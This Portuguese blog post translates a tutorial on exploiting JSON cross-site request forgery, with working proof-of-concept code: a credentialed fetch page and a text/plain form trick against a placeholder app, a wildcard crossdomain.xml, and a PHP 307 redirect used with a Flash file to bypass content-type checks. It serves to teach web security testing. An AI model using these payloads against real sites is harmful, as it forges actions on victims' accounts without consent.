Explorando JSON Cross Site Request Forgery (CSRF) usando Flash

Luan AP
Brasil Black Hat
Published in
3 min readNov 11, 2017

Este post é uma tradução livre de: Exploiting JSON Cross Site Request Forgery (CSRF) using Flash.

Você deve ter o básico de ataques CSRF, caso não tenha a página da OWASP lhe dará uma explicação sobre.

então este truque entra em jogo quando os dados da requisição post formatados no formato json. Ex: eg: {“name”:”test”, “email”:”victim.com”}.

Caso 1

Servidor procura os dados formatados do JSON mas não valida o Content-type.

Caso 2

Servidor procura os dados formatados do json e valida também o Content-type, ou seja, application/json.

Nota: Este ataque apenas irá funcionar se a aplicação funcionar em apenas dados JSON ou Content-type application/json.

Explorando o caso 1

Simples nós podemos usar uma requisição com o fetch, como nós sabemos o servidor apenas checa se os dados do POST estão formatados corretamente em JSON ou não. Se sim irá aceitar requisições independente de se o Content-type é setado como text/plain.

Agora nós enviamos estes dados de test para a aplicação vulnerável.

<html>
<title>JSON CSRF POC</title>
<body>
<center>
<h1> JSON CSRF POC </h1>
<script>
fetch(‘http://vul-app.com', {method: ‘POST’, credentials: ‘include’, headers: {‘Content-Type’: ‘text/plain’}, body: ‘{“name”:”attacker”,”email”:”attacker.com”}’});
</script>
<form action=”#”>
<input type=”button” value=”Submit” />
</form>
</center>
</body>
</html>

Fonte: http://research.rootme.in/forging-content-type-header-with-flash

Método passado

<html>

<title>JSON CSRF POC</title>

<center>

<h1> JSON CSRF POC </h1>

<form action=http://vul-app.com method=post enctype=”text/plain” >

<input name=’{“name”:”attacker”,”email”:”attacker@gmail.com”,”ignore_me”:”’ value=’test”}’type=’hidden’>

<input type=submit value=”Submit”>

</form>

</center>

</html>

Isto irá fazer uma requisição POST com um JSON válido com dados extras preenchidos se a aplicação não tiver tratado estes dados extras, o que acontee na maioria dos casos.

Explorando caso 2

Aqui a aplicação até valida o Content-type e data format, mas este ataque pode ser realizado usando flash e 307 redirect.

Requerimentos:

  1. Arquivo flash
  2. Crossdomain XML arquivo
  3. Arquivo PHP com o código 307

Arquivos Flash

Este arquivo flash (.swf) possui os dados formatados do json que o invasor deve postar na aplicaçãoe vincular ao arquivo php hospedado nele.

Aqui está o arquivo SWF de teste, você pode baixar e editar os conteúdos de acordo com sua necessidade, recomendo oFFDec do Windows para editar e compilar o arquivo flash, você pode verificar os outros com base no seu ambiente.

Arquivo crossdomain XML

<cross-domain-policy>
<allow-access-from domain=”*” secure=”false”/>
<allow-http-request-headers-from domain=”*” headers=”*” secure=”false”/>
</cross-domain-policy>

Este arquivo deve ser hospedado no diretório raiz do site usado no ataque, então o arquivo flash pode solicitar o host do invasor.

Arquivo PHP com o código 307

<?php

header(“Location: https://victim.com/user/endpoint/", true, 307);

?>

Pedido do arquivo flash para este arquivo php, isso permitirá que o redirecionamento 307 seja mencionado para o ponto final do aplicativo e, como 307, é um redirecionamento especial, que publicará também os dados JSON, que receberam do arquivo flash para o alvo e o CSRF ocorrerá com sucesso.

É isso aí galerinha, não deixem de compartilhar. Até a próxima!

--

--